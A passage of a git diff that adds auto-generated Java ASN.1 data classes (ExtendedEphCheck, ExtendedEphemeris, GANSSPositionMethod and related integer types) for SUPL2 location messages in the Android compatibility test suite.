+ public static maxNumGeoAreaSupportedType fromPerAligned(byte[] encodedBytes) {
+ maxNumGeoAreaSupportedType result = new maxNumGeoAreaSupportedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxNumGeoAreaSupportedType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxAreaIdListSupportedType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxAreaIdListSupportedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxAreaIdListSupportedType() {
+ super();
+ setValueRange("0", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxAreaIdListSupportedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxAreaIdListSupportedType != null) {
+ return ImmutableList.of(TAG_maxAreaIdListSupportedType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxAreaIdListSupportedType from encoded stream.
+ */
+ public static maxAreaIdListSupportedType fromPerUnaligned(byte[] encodedBytes) {
+ maxAreaIdListSupportedType result = new maxAreaIdListSupportedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxAreaIdListSupportedType from encoded stream.
+ */
+ public static maxAreaIdListSupportedType fromPerAligned(byte[] encodedBytes) {
+ maxAreaIdListSupportedType result = new maxAreaIdListSupportedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxAreaIdListSupportedType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxAreaIdSupportedPerListType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxAreaIdSupportedPerListType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxAreaIdSupportedPerListType() {
+ super();
+ setValueRange("0", "256");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxAreaIdSupportedPerListType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxAreaIdSupportedPerListType != null) {
+ return ImmutableList.of(TAG_maxAreaIdSupportedPerListType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxAreaIdSupportedPerListType from encoded stream.
+ */
+ public static maxAreaIdSupportedPerListType fromPerUnaligned(byte[] encodedBytes) {
+ maxAreaIdSupportedPerListType result = new maxAreaIdSupportedPerListType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxAreaIdSupportedPerListType from encoded stream.
+ */
+ public static maxAreaIdSupportedPerListType fromPerAligned(byte[] encodedBytes) {
+ maxAreaIdSupportedPerListType result = new maxAreaIdSupportedPerListType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "maxAreaIdSupportedPerListType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("EventTriggerCapabilities = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
new file mode 100755
index 0000000..e5a9a90
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphCheck.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ExtendedEphCheck extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ExtendedEphCheck
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ExtendedEphCheck() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ExtendedEphCheck;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ExtendedEphCheck != null) {
+ return ImmutableList.of(TAG_ExtendedEphCheck);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ExtendedEphCheck from encoded stream.
+ */
+ public static ExtendedEphCheck fromPerUnaligned(byte[] encodedBytes) {
+ ExtendedEphCheck result = new ExtendedEphCheck();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ExtendedEphCheck from encoded stream.
+ */
+ public static ExtendedEphCheck fromPerAligned(byte[] encodedBytes) {
+ ExtendedEphCheck result = new ExtendedEphCheck();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTime beginTime_;
+ public GPSTime getBeginTime() {
+ return beginTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTime
+ */
+ public void setBeginTime(Asn1Object value) {
+ this.beginTime_ = (GPSTime) value;
+ }
+ public GPSTime setBeginTimeToNewInstance() {
+ beginTime_ = new GPSTime();
+ return beginTime_;
+ }
+
+ private GPSTime endTime_;
+ public GPSTime getEndTime() {
+ return endTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTime
+ */
+ public void setEndTime(Asn1Object value) {
+ this.endTime_ = (GPSTime) value;
+ }
+ public GPSTime setEndTimeToNewInstance() {
+ endTime_ = new GPSTime();
+ return endTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeginTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeginTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeginTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beginTime : "
+ + getBeginTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEndTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEndTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setEndTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "endTime : "
+ + getEndTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ExtendedEphCheck = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
new file mode 100755
index 0000000..8d01e18
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ExtendedEphemeris.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ExtendedEphemeris extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ExtendedEphemeris
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ExtendedEphemeris() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ExtendedEphemeris;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ExtendedEphemeris != null) {
+ return ImmutableList.of(TAG_ExtendedEphemeris);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ExtendedEphemeris from encoded stream.
+ */
+ public static ExtendedEphemeris fromPerUnaligned(byte[] encodedBytes) {
+ ExtendedEphemeris result = new ExtendedEphemeris();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ExtendedEphemeris from encoded stream.
+ */
+ public static ExtendedEphemeris fromPerAligned(byte[] encodedBytes) {
+ ExtendedEphemeris result = new ExtendedEphemeris();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ExtendedEphemeris.validityType validity_;
+ public ExtendedEphemeris.validityType getValidity() {
+ return validity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtendedEphemeris.validityType
+ */
+ public void setValidity(Asn1Object value) {
+ this.validity_ = (ExtendedEphemeris.validityType) value;
+ }
+ public ExtendedEphemeris.validityType setValidityToNewInstance() {
+ validity_ = new ExtendedEphemeris.validityType();
+ return validity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getValidity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getValidity();
+ }
+
+ @Override public void setToNewInstance() {
+ setValidityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtendedEphemeris.validityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "validity : "
+ + getValidity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class validityType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_validityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public validityType() {
+ super();
+ setValueRange("1", "256");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_validityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_validityType != null) {
+ return ImmutableList.of(TAG_validityType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new validityType from encoded stream.
+ */
+ public static validityType fromPerUnaligned(byte[] encodedBytes) {
+ validityType result = new validityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new validityType from encoded stream.
+ */
+ public static validityType fromPerAligned(byte[] encodedBytes) {
+ validityType result = new validityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "validityType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ExtendedEphemeris = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
new file mode 100755
index 0000000..d57a753
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethod.java
@@ -0,0 +1,570 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GANSSSignals;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSPositionMethod extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositionMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositionMethod() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositionMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositionMethod != null) {
+ return ImmutableList.of(TAG_GANSSPositionMethod);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositionMethod from encoded stream.
+ */
+ public static GANSSPositionMethod fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositionMethod result = new GANSSPositionMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositionMethod from encoded stream.
+ */
+ public static GANSSPositionMethod fromPerAligned(byte[] encodedBytes) {
+ GANSSPositionMethod result = new GANSSPositionMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSPositionMethod.ganssIdType ganssId_;
+ public GANSSPositionMethod.ganssIdType getGanssId() {
+ return ganssId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethod.ganssIdType
+ */
+ public void setGanssId(Asn1Object value) {
+ this.ganssId_ = (GANSSPositionMethod.ganssIdType) value;
+ }
+ public GANSSPositionMethod.ganssIdType setGanssIdToNewInstance() {
+ ganssId_ = new GANSSPositionMethod.ganssIdType();
+ return ganssId_;
+ }
+
+ private GANSSPositionMethod.ganssSBASidType ganssSBASid_;
+ public GANSSPositionMethod.ganssSBASidType getGanssSBASid() {
+ return ganssSBASid_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethod.ganssSBASidType
+ */
+ public void setGanssSBASid(Asn1Object value) {
+ this.ganssSBASid_ = (GANSSPositionMethod.ganssSBASidType) value;
+ }
+ public GANSSPositionMethod.ganssSBASidType setGanssSBASidToNewInstance() {
+ ganssSBASid_ = new GANSSPositionMethod.ganssSBASidType();
+ return ganssSBASid_;
+ }
+
+ private GANSSPositioningMethodTypes gANSSPositioningMethodTypes_;
+ public GANSSPositioningMethodTypes getGANSSPositioningMethodTypes() {
+ return gANSSPositioningMethodTypes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethodTypes
+ */
+ public void setGANSSPositioningMethodTypes(Asn1Object value) {
+ this.gANSSPositioningMethodTypes_ = (GANSSPositioningMethodTypes) value;
+ }
+ public GANSSPositioningMethodTypes setGANSSPositioningMethodTypesToNewInstance() {
+ gANSSPositioningMethodTypes_ = new GANSSPositioningMethodTypes();
+ return gANSSPositioningMethodTypes_;
+ }
+
+ private GANSSSignals gANSSSignals_;
+ public GANSSSignals getGANSSSignals() {
+ return gANSSSignals_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setGANSSSignals(Asn1Object value) {
+ this.gANSSSignals_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setGANSSSignalsToNewInstance() {
+ gANSSSignals_ = new GANSSSignals();
+ return gANSSSignals_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssId();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethod.ganssIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssId : "
+ + getGanssId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSBASid() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSBASid();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSBASidToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethod.ganssSBASidType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSBASid : "
+ + getGanssSBASid().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSPositioningMethodTypes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSPositioningMethodTypes();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSPositioningMethodTypesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethodTypes.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSPositioningMethodTypes : "
+ + getGANSSPositioningMethodTypes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSSignals() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSSignals();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSSignalsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSSignals : "
+ + getGANSSSignals().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIdType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIdType;
+ }
+
+ @Override
